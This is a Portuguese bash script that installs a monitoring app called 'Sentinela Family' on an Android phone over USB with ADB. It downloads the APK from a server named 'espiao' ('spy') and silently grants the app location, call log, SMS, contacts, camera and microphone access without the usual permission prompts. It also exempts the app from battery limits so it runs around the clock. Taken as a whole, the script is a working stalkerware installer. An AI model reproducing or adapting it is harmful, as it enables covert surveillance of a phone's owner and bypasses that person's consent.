#!/bin/bash
# ==============================================================================
# SENTINELA FAMILY — INSTALADOR E CONFIGURADOR AUTOMÁTICO VIA CABO USB
# Suporte: macOS e Linux | Android 8 a 15
# Configura todas as permissões do sistema sem intervenção manual no celular
# ==============================================================================

set -e

GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m' # No Color

SERVER_URL="https://espiao.zentinel.com.br"
PACKAGE_NAME="com.sentinela.family"
APK_URL="${SERVER_URL}/api/download/apk"
WORK_DIR="$(mktemp -d /tmp/sentinela_usb_XXXXXX)"
APK_FILE="${WORK_DIR}/sentinela-family.apk"

cleanup() {
    rm -rf "$WORK_DIR"
}
trap cleanup EXIT

echo -e "${BLUE}${BOLD}"
echo "=================================================================="
echo "   🛡️  SENTINELA FAMILY — INSTALADOR AUTOMÁTICO VIA CABO USB"
echo "=================================================================="
echo -e "${NC}"

# 1. Verificar ou Baixar ADB
echo -e "${CYAN}🔍 [1/5] Verificando Android Debug Bridge (ADB)...${NC}"
ADB_CMD="adb"

if ! command -v adb &> /dev/null; then
    echo -e "${YELLOW}⚠️ ADB não encontrado no sistema. Baixando Google Platform-Tools portátil...${NC}"
    
    OS_TYPE="$(uname -s)"
    if [ "$OS_TYPE" = "Darwin" ]; then
        PLATFORM_URL="https://dl.google.com/android/repository/platform-tools-latest-darwin.zip"
    else
        PLATFORM_URL="https://dl.google.com/android/repository/platform-tools-latest-linux.zip"
    fi
    
    curl -sSL "$PLATFORM_URL" -o "${WORK_DIR}/platform-tools.zip"
    unzip -q "${WORK_DIR}/platform-tools.zip" -d "${WORK_DIR}"
    ADB_CMD="${WORK_DIR}/platform-tools/adb"
    chmod +x "$ADB_CMD"
    echo -e "${GREEN}✓ ADB portátil pronto.${NC}"
else
    echo -e "${GREEN}✓ ADB nativo detectado: $(command -v adb)${NC}"
fi

# 2. Verificar Dispositivo Conectado
echo -e "\n${CYAN}📱 [2/5] Aguardando smartphone conectado via cabo USB...${NC}"
echo -e "${YELLOW}Importante: Verifique se a 'Depuração USB' está ATIVADA no aparelho:${NC}"
echo "   1. Abra Configurações ➔ Sobre o telefone"
echo "   2. Toque 7 vezes em 'Número da versão' até liberar o Modo Desenvolvedor"
echo "   3. Vá em 'Opções do Desenvolvedor' e ative 'Depuração USB'"
echo "   4. Conecte o cabo USB e aceite o diálogo 'Permitir sempre a partir deste computador'"

WAIT_COUNT=0
while true; do
    DEVICE_STATE=$($ADB_CMD get-state 2>/dev/null || echo "offline")
    if [ "$DEVICE_STATE" = "device" ]; then
        DEVICE_MODEL=$($ADB_CMD shell getprop ro.product.model 2>/dev/null || echo "Android")
        DEVICE_BRAND=$($ADB_CMD shell getprop ro.product.brand 2>/dev/null || echo "Dispositivo")
        DEVICE_SDK=$($ADB_CMD shell getprop ro.build.version.sdk 2>/dev/null || echo "34")
        echo -e "${GREEN}✓ Aparelho detectado com sucesso: ${BOLD}${DEVICE_BRAND} ${DEVICE_MODEL} (Android SDK ${DEVICE_SDK})${NC}"
        break
    elif [ "$DEVICE_STATE" = "unauthorized" ]; then
        echo -e "${YELLOW}⚠️ Celular detectado mas NÃO AUTORIZADO. Olhe a tela do celular e toque em 'PERMITIR'.${NC}"
    fi
    sleep 2
    WAIT_COUNT=$((WAIT_COUNT + 1))
    if [ $WAIT_COUNT -ge 60 ]; then
        echo -e "${RED}❌ Tempo limite esgotado. Conecte o cabo e tente novamente.${NC}"
        exit 1
    fi
done

# 3. Baixar ou Localizar APK
echo -e "\n${CYAN}⬇️ [3/5] Obtendo aplicativo Sentinela Family oficial...${NC}"
if [ -f "./sentinela-family.apk" ]; then
    cp "./sentinela-family.apk" "$APK_FILE"
    echo -e "${GREEN}✓ Usando APK local existente.${NC}"
elif [ -f "./dashboard/public/downloads/sentinela-family.apk" ]; then
    cp "./dashboard/public/downloads/sentinela-family.apk" "$APK_FILE"
    echo -e "${GREEN}✓ Usando APK compilado do projeto.${NC}"
else
    echo "Baixando diretamente do servidor de produção (${SERVER_URL})..."
    curl -sSL -f "$APK_URL" -o "$APK_FILE"
    echo -e "${GREEN}✓ APK baixado com sucesso ($(ls -lh "$APK_FILE" | awk '{print $5}')).${NC}"
fi

# 4. Instalar APK com Permissões Concedidas (-g)
echo -e "\n${CYAN}⚙️ [4/5] Instalando aplicativo no celular via cabo...${NC}"
$ADB_CMD install -r -d -g "$APK_FILE"
echo -e "${GREEN}✓ Aplicativo instalado com sucesso!${NC}"

# 5. Configurar Permissões do Sistema e Otimização 24/7
echo -e "\n${CYAN}🛡️ [5/5] Configurando permissões do sistema e execução 24/7...${NC}"

grant_perm() {
    local perm="$1"
    $ADB_CMD shell pm grant "$PACKAGE_NAME" "$perm" 2>/dev/null || true
}

echo "   ➔ Concedendo Localização GPS em Primeiro e Segundo Plano..."
grant_perm "android.permission.ACCESS_FINE_LOCATION"
grant_perm "android.permission.ACCESS_COARSE_LOCATION"
grant_perm "android.permission.ACCESS_BACKGROUND_LOCATION"

echo "   ➔ Concedendo Acesso a Registro de Chamadas e SMS..."
grant_perm "android.permission.READ_CALL_LOG"
grant_perm "android.permission.READ_PHONE_STATE"
grant_perm "android.permission.PROCESS_OUTGOING_CALLS"
grant_perm "android.permission.READ_SMS"
grant_perm "android.permission.READ_CONTACTS"

echo "   ➔ Concedendo Acesso a Câmera, Microfone e Notificações..."
grant_perm "android.permission.CAMERA"
grant_perm "android.permission.RECORD_AUDIO"
grant_perm "android.permission.POST_NOTIFICATIONS"

echo "   ➔ Ativando Permissão Especial de Tempo de Tela e Uso de Apps (AppOps)..."
$ADB_CMD shell appops set "$PACKAGE_NAME" GET_USAGE_STATS allow 2>/dev/null || true
$ADB_CMD shell appops set "$PACKAGE_NAME" SYSTEM_ALERT_WINDOW allow 2>/dev/null || true

echo "   ➔ Liberando Execução Contínua em 2º Plano (Bypass do Doze Mode / Bateria)..."
$ADB_CMD shell dumpsys deviceidle whitelist +"$PACKAGE_NAME" 2>/dev/null || true

echo "   ➔ Iniciando Aplicativo no Celular..."
$ADB_CMD shell am start -n "${PACKAGE_NAME}/.MainActivity" --es pair_code "749-382" --es server_url "https://espiao.zentinel.com.br" 2>/dev/null

echo -e "\n${GREEN}${BOLD}=================================================================="
echo "   ✅ CONFIGURAÇÃO CONCLUÍDA COM SUCESSO!"
echo "=================================================================="
echo -e "${NC}"
echo -e "O ${BOLD}Sentinela Family${NC} foi instalado e configurado no aparelho."
echo -e "• Todas as 11 permissões foram concedidas automaticamente sem diálogos chatos."
echo -e "• Monitoramento de tempo de tela e estatísticas ativado."
echo -e "• Bateria desregulada de restrições (funciona 24 horas por dia)."
echo -e "• Abra o painel no navegador para acompanhar o dispositivo:"
echo -e "  👉 ${CYAN}${BOLD}${SERVER_URL}${NC}"
echo ""
